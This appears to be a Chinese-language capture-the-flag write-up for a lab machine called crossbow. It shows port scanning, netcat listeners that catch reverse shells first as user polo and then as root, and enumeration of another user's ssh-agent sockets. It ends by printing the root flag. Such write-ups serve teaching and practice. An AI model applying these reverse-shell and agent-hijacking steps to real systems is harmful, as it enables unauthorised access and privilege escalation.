❯ ip=192.168.56.116 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- With RustScan, I scan ports so fast, even my firewall gets whiplash 💨 [~] The config file is expected to be at "/home/ctf/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.56.116:22 Open 192.168.56.116:80 Open 192.168.56.116:9090 [~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 16:19 CST Initiating Ping Scan at 16:19 Scanning 192.168.56.116 [4 ports] Completed Ping Scan at 16:19, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 16:19 Completed Parallel DNS resolution of 1 host. at 16:19, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 16:19 Scanning 192.168.56.116 [3 ports] Discovered open port 22/tcp on 192.168.56.116 Discovered open port 80/tcp on 192.168.56.116 Discovered open port 9090/tcp on 192.168.56.116 Completed SYN Stealth Scan at 16:19, 0.04s elapsed (3 total ports) Nmap scan report for 192.168.56.116 Host is up, received reset ttl 63 (0.0011s latency). Scanned at 2024-12-15 16:19:46 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 62 9090/tcp open zeus-admin syn-ack ttl 62
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds Raw packets sent: 7 (284B) | Rcvd: 4 (172B)
┌──(kali㉿kali)-[~] └─$ rlwrap nc -lnvp 4444 listening on [any] 4444 ... id connect to [192.168.56.102] from (UNKNOWN) [192.168.56.116] 48346 uid=1001(polo) gid=1001(polo) groups=1001(polo) /usr/bin/script -qc /bin/bash 2>/dev/null polo@crossbow:~$ polo@crossbow:~$ cd .. polo@crossbow:/home$ ls lea polo
polo@crossbow:/$ ls -al total 80 drwxr-xr-x 1 root root 4096 Dec 14 2023 . drwxr-xr-x 1 root root 4096 Dec 14 2023 .. -rwxr-xr-x 1 root root 0 Sep 15 2023 .dockerenv lrwxrwxrwx 1 root root 7 Aug 14 2023 bin -> usr/bin drwxr-xr-x 2 root root 4096 Jul 14 2023 boot drwxr-xr-x 5 root root 340 Dec 15 08:16 dev drwxr-xr-x 1 root root 4096 Dec 14 2023 etc drwxr-xr-x 1 root root 4096 Sep 18 2023 home lrwxrwxrwx 1 root root 7 Aug 14 2023 lib -> usr/lib lrwxrwxrwx 1 root root 9 Aug 14 2023 lib32 -> usr/lib32 lrwxrwxrwx 1 root root 9 Aug 14 2023 lib64 -> usr/lib64 lrwxrwxrwx 1 root root 10 Aug 14 2023 libx32 -> usr/libx32 -rw-r--r-- 1 root root 0 Dec 14 2023 lol drwxr-xr-x 2 root root 4096 Aug 14 2023 media drwxr-xr-x 2 root root 4096 Aug 14 2023 mnt drwxr-xr-x 2 root root 4096 Aug 14 2023 opt dr-xr-xr-x 162 root root 0 Dec 15 08:16 proc drwx------ 1 root root 4096 Sep 16 2023 root drwxr-xr-x 1 root root 4096 Dec 15 08:16 run lrwxrwxrwx 1 root root 8 Aug 14 2023 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Aug 14 2023 srv dr-xr-xr-x 13 root root 0 Dec 15 08:16 sys drwxrwxrwt 4 root root 4096 Dec 15 08:58 tmp drwxr-xr-x 1 root root 4096 Aug 14 2023 usr drwxr-xr-x 1 root root 4096 Sep 3 2023 var polo@crossbow:/$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever
同时我传了个linpeas上去，枚举发现这个用户是存在docker中的
当我切到/tmp目录下发现了有趣的文件，
1 2 3 4 5 6 7
polo@crossbow:/tmp$ ls -al total 16 drwxrwxrwt 4 root root 4096 Dec 15 09:17 . drwxr-xr-x 1 root root 4096 Dec 14 2023 .. srwxrwxrwx 1 polo polo 0 Dec 15 08:52 dbus-o6gpC36Ov1 drwx------ 2 polo polo 4096 Dec 15 08:52 ssh-XXXXXXFJyjV2 drwx------ 2 lea lea 4096 Dec 15 08:16 ssh-XXXXXXbE0VxJ
有个两个文件的所有者分别是polo还有一个是lea
我看一下运行的进程，发现lea正在运行/home/lea/.local/agent
ssh-agent是个什么东西，查询一番得知，可以类比为ssh私钥管理者
1 2 3 4 5
lea 12 4.7 0.1 4564 3352 ? S 08:16 2:46 /bin/bash /home/lea/.local/agent lea 719522 0.0 0.0 4564 576 ? R 09:14 0:00 _ /bin/bash /home/lea/.local/agent root 27 0.0 0.1 3976 2016 ? Ss 08:16 0:00 /usr/sbin/cron lea 1082 0.0 0.1 7792 2912 ? Ss 08:16 0:00 ssh-agent polo 450045 0.0 0.0 7660 776 ? Ss 08:52 0:00 /usr/bin/ssh-agent
polo@crossbow:/tmp$ ssh-agent SSH_AUTH_SOCK=/tmp/ssh-XXXXXXApBNia/agent.830207; export SSH_AUTH_SOCK; SSH_AGENT_PID=830209; export SSH_AGENT_PID; echo Agent pid 830209; polo@crossbow:/tmp$ ls -al total 20 drwxrwxrwt 5 root root 4096 Dec 15 09:22 . drwxr-xr-x 1 root root 4096 Dec 14 2023 .. srwxrwxrwx 1 polo polo 0 Dec 15 08:52 dbus-o6gpC36Ov1 drwx------ 2 polo polo 4096 Dec 15 09:22 ssh-XXXXXXApBNia drwx------ 2 polo polo 4096 Dec 15 08:52 ssh-XXXXXXFJyjV2 drwx------ 2 lea lea 4096 Dec 15 08:16 ssh-XXXXXXbE0VxJ polo@crossbow:/tmp$ cd ssh-XXXXXXApBNia polo@crossbow:/tmp/ssh-XXXXXXApBNia$ ls agent.830207
┌──(kali㉿kali)-[~] └─$ rlwrap nc -lnvp 1234 listening on [any] 1234 ... id connect to [192.168.56.102] from (UNKNOWN) [192.168.56.116] 45144 bash: impossible de régler le groupe de processus du terminal (637): Ioctl() inapproprié pour un périphérique bash: pas de contrôle de tâche dans ce shell root@crossbow:/root# id uid=0(root) gid=0(root) groupes=0(root) root@crossbow:/root# ls clean.yml config.json root.txt root@crossbow:/root# cat root.txt 7a299c41b1daac46d5ab98745b212e09
